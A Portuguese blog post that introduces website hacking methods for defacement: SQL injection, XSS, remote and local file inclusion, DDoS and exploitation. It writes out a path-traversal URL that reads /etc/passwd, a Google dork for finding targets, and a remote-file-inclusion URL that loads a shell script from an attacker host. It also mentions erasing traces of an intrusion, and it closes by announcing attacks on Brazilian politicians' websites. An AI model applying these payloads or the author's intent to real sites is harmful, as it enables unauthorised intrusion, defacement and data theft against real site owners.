ALGUMAS MANEIRAS DE INVADIR UM WEBSITE

Como tenho dito em posts anteriores, este blog é o resultado das minhas anotações, anoto tudo, a primeira coisa que faço ao ligar o meu notebook é abrir o bloco de notas.

Antes de existir a internet, pelos idos de 1976 – quando a mídia de armazenamento eram os cartões perfurados em máquinas enormes e complicadas, e que eram lidos por um mainframe IBM 1130 -, estudei a primeira linguagem: Fortran; depois um pouco de Cobol (fiquei no básico, cálculos financeiros nunca foi minha praia), até que apareceu o PC e comprei um Digitus DGT-1000 com armazenamento em disquete de 5″1/4 e fita cassete, um Microprocessador Z80; então comecei com o Basic, uma escolinha para linguagem de alto nível e, porque não, o Assembly que me fez descobrir a preferência pelo baixo nível. Afinal, naquele tempo eu trabalhava com eletrônica, “hardware” era um termo novo.

Bem, chega desse papo de Dinossauro. Só quero dizer que que nunca tive intimidade com desenvolvimento de Frontend, apenas o essencial de HTML; e agora estou investindo em PHP, CSS, JavaScript… e, por questões éticas, estou construindo uma infra em uma máquina virtual – algo como Windows server com IIS e SQL Server, Apache, Nginx,… vou ver o que minha humilde máquina permite para um laboratório de testes de invasão de sites/bancos de dados com foco em “defacement“, desfiguração, alteração visual de sites.

Esta é a primeira parte, onde vou explicar brevemente alguns métodos usados para crackear ou desfigurar sites (Defacement).

Posteriormente mostrarei exemplos práticos de invasão e de proteção contra esses ataques. Não será uma tarefa fácil, uma vez que eu estou iniciando esse processo do zero.

BACKEND x FRONTEND

Diagram-of-back_front

O Backend são os códigos executados no servidor. Generalizando, a função do Backend é enviar dados solicitados para o Frontend. Pense no servidor como o Garçom de um restaurante. Você (o Frontend), ler o cardápio, solicita o alimento (dados) ao Garçom (servidor) e este último vai até a cozinha (banco de dados) e traz o seu jantar.

Por exemplo, quando você visita o seu Facebook, o Backend é responsável por selecionar os textos e imagens para fazer um pacote e, em seguida, enviar para o Frontend.

Porém, grande responsabilidade do Backend é interagir com o banco de dados. Se alguém se inscrever para uma nova conta do Facebook, o Backend será responsável pela inclusão desse usuário no banco de dados. Uma vez incluído, o Backend pode então buscar, atualizar ou excluir tal usuário. As linguagens mais populares de Backend são PHP, Java, C#, Python e Ruby.

Já o Frontend consiste nos códigos executados no navegador. O Frontend é escrito em JavaScript, HTML e CSS. O HTML é usado para estruturar os dados serão enviados do Backend. No entanto, os dados não são bonitos nem interativos, são apenas organizados.

Para torná-los bonitos, usa-se o CSS que é uma linguagem de estilo usada para adicionar cores ao site, alterar a fonte, alterar o tamanho da fonte, especificar a localização das imagens.

Para torná-lo interativo, usa-se o JavaScript. JavaScript é uma linguagem do “lado-cliente“. Por exemplo, quando desejamos enviar uma mensagem para alguém no Facebook, aparece uma janela pop-up para o chat, o JavaScript que adiciona essa interatividade.

A combinação de HTML, CSS e JavaScript – conhecida como Frontend – cria a Interface do Usuário (UI).

Resumindo: antes de começar é preciso ter pelo menos os conhecimentos básicos de HTML, SQL, PHP, JavaScript. De como os servidores funcionam e como remover os rastros da invasão.

Dica: para entender melhor, um bom exemplo é o site http://www.epg.com.br ; JavaScrip, PHP e MySQL 4.1. Futuque nas entradas de Data e Hora, Gêneros dos Canais, Cores e Estilo do Guia, e observe a URL, leia o resto do Post e volte a observar como isso funciona.

MÉTODOS USADOS PARA INVASÃO DE SITES:

INJEÇÃO SQL

CROSS SITE SCRIPTING (XSS)

REMOTE FILE INCLUSION (RFI)

LOCAL FILE INCLUSION (LFI)

ATAQUE DDOS

EXPLORAÇÃO DE VULNERABILIDADES (Exploit)

  1. SQL INJECTION

A Injeção SQL é um tipo de exploração de segurança em que um invasor “injeta” o código SQL malicioso em um formulário para manipular uma consulta SQL. Explora aplicações web que usam clientes alimentados por consultas SQL.

A forma principal de injeção de SQL consiste em inserir um código diretamente nas variáveis de entrada do usuário, concatenando comandos SQL a serem executados. Um ataque menos direto injeta código mal-intencionado em forma de strings que são armazenadas em uma tabela ou como metadados. As strings armazenadas serão posteriormente concatenadas com um comando dinâmico SQL e o código malicioso será executado.

A Injeção de SQL geralmente tira proveito de uma solicitação de entrada ao usuário, como as credenciais usuário/senha e, em vez de um usuário/senha legítimos, o atacante fornece uma declaração SQL que será executada no banco de dados.

Para um melhor entendimento, vou ilustrar um exemplo clássico e simples de como um ataque de injeção SQL funciona. Esse tipo de ataque explora e manipula a consulta no banco de dados com base em uma entrada incorreta que permite uma interpretação errada pelo uso de caracteres coringa (escape characters).

Um usuário, através de um cliente da Web (Navegador), interage com o Frontend de um servidor web usando o HTTP. Este Frontend, por sua vez, interage com um servidor SQL no Backend e, no caso de um login de usuário, usa informações definidas pelo usuário para construir uma consulta no Banco de Dados SQL. Normalmente, um servidor web seguro exige que os usuários se autentiquem fornecendo um nome de usuário e uma senha. O servidor da Web geralmente executa uma operação SQL, da seguinte forma (onde o uname e pword são as variáveis de entrada):

select * from Users where userid=’uname’ AND password= ‘pword’;

Ao fornecer alguma entrada cuidadosamente elaborada no formulário da Web, o atacante pode manipular a intenção da consulta pretendida pelo designer. No exemplo ilustrado abaixo, alterei a condição da consulta para solicitar todos os registros ao usar o operador OR (que sempre é verdadeiro) e expandindo (*) a verificação da senha com um coringa.

SQL_Injection

Este exemplo, ilustra como uma entrada em um formulário de uma página da Web pode explorar uma vulnerabilidade na comunicação com um banco de dados SQL no Backend. O resultado dessa operação é uma listagem de todos os registros que satisfazem a expressão, ou seja, toda a base de dados de usuário. Quando meu laboratório estiver pronto, mostrarei como funciona uma Injeção SQL na vida real.

  1. CROSS SITE SCRIPTING

O Cross Site Scripting (XSS) é usado quando um atacante deseja introduzir dados mal-intencionados em um site, para explorar brechas em algum aplicativo. Os ataques XSS são muito populares e alguns dos maiores sites foram afetados por eles, incluindo o FBI, CNN, eBay, Apple, Microsoft e AOL.

Alguns sites podem ter brechas, vulnerabilidades aos ataques XSS, em alguns recursos, tais como: Motores de busca, Formulários de login ou Campos de comentários.

Vulnerabilidades XSS são brechas em aplicativos da Web que permitem que os invasores ignorem os mecanismos de segurança do lado do cliente, normalmente impostos sobre o conteúdo da web por alguns navegadores. Ao encontrar formas de injetar scripts maliciosos em uma página web, um invasor pode obter privilégios de acesso elevado para conteúdo sensível, cookies e uma variedade de outras informações mantidas pelo navegador em nome dos usuários. Ataques Cross Site Scripting são, portanto, casos especiais de injeção de código. Voltarei a este tópico posteriormente, continue lendo.

  1. REMOTE FILE INCLUSION

A Inclusão Remota de Arquivos é a vulnerabilidade mais frequentemente encontrada em sites, e a que acho melhor para um bom Defacement. A Inclusão Remota de Arquivos (RFI) consiste na inclusão de um arquivo remoto, geralmente um shell, em um site e permite que o invasor execute comandos no lado do servidor como um usuário conectado e com acesso aos arquivos do servidor. Com este poder, o invasor pode escalar privilégios e assumir todo o sistema.

Com esta técnica, é possível executar um código no servidor web, executar um código no lado do cliente, como o JavaScript; possibilitando outros ataques, como XSS, DoS e Roubo/Manipulação de dados.

  1. LOCAL FILE INCLUSION

Inclusão de Arquivo Local (LFI) permite navegação transversal no diretório servidor. Um dos objetivos mais comuns do LFI é descobrir o arquivo /etc/passwd. Este arquivo contém as credenciais dos usuários em um sistema Linux. O invasor encontra sites vulneráveis a LFI da mesma forma que eu discuti para RFIs.

Digamos que um hacker encontrou um site vulnerável, como http://www.site-alvo.com/index.php?p=about, por meio de tentativas de procuras transversais no diretório, ele tenta chegar ao arquivo /etc/passwd:

http://www.target-site.com/index.php?p=../../../../../../../etc/passwd

Vou explicar isso em detalhes em uma próxima publicação.

  1. DDoS ATTACK

Conhecido como ataque Distribuído de Negação de Serviço (DDoS, ou Ataque de Negação de Serviço (Ataque DoS)  é uma técnica que torna os recursos de um computador/servidor indisponível para os usuários legítimos.

Os motivos e os alvos de um ataque DoS podem variar, e geralmente consiste nos esforços concentrados de uma pessoa ou pessoas para fazer com que um site ou serviço da Internet funcione de forma ineficiente ou fique temporariamente inacessível. Os ataques DDOS consomem muita largura de banda.

  1. EXPLORAÇÃO DE VULNERABILIDADES (EXPLOIT)

Esta não é exatamente uma “categoria” dentro do assunto abordado, seria melhor considerar como um compromisso entre as cinco técnicas mencionadas acima; insisto em citar separadamente porque existem várias façanhas que só podem ser possíveis encontrando alguma vulnerabilidade no site para explorá-lo e obter privilégios de administrador ou moderador e poder manipular as coisas com facilidade.

Já falei sobre isto em uma Postagem anterior. É uma prática bem comum começar usando o Google e fazer a seguinte busca:

inurl:”index.php?page=home”

No lugar de home, tenta-se outras páginas, como produtos, products, galeria, gallery, etc.

Primeiramente precisa-se identificar o alvo, digamos:

http://alvo.com/index.php?page=home

Muitos sites armazenam documentos no formato texto para depois renderizar como uma webpage, o que permite que o invasor use a função include do PHP para remover ou substituir home, no exemplo, pela URL de um .txt contendo um código mal-intencionado escrito em um shell, tal como o c99, r57 ou qualquer outro… isso funciona assim:

http://alvo.com/index.php?page=http://atacante.com/ScriptMalicioso.txt

O operacional será abordado brevemente. E QUE VENHA OS SITES DOS POLÍTICOS BRASILEIROS!!

Anúncios

3 comentários

Deixe um comentário

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair /  Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair /  Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair /  Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair /  Alterar )

Conectando a %s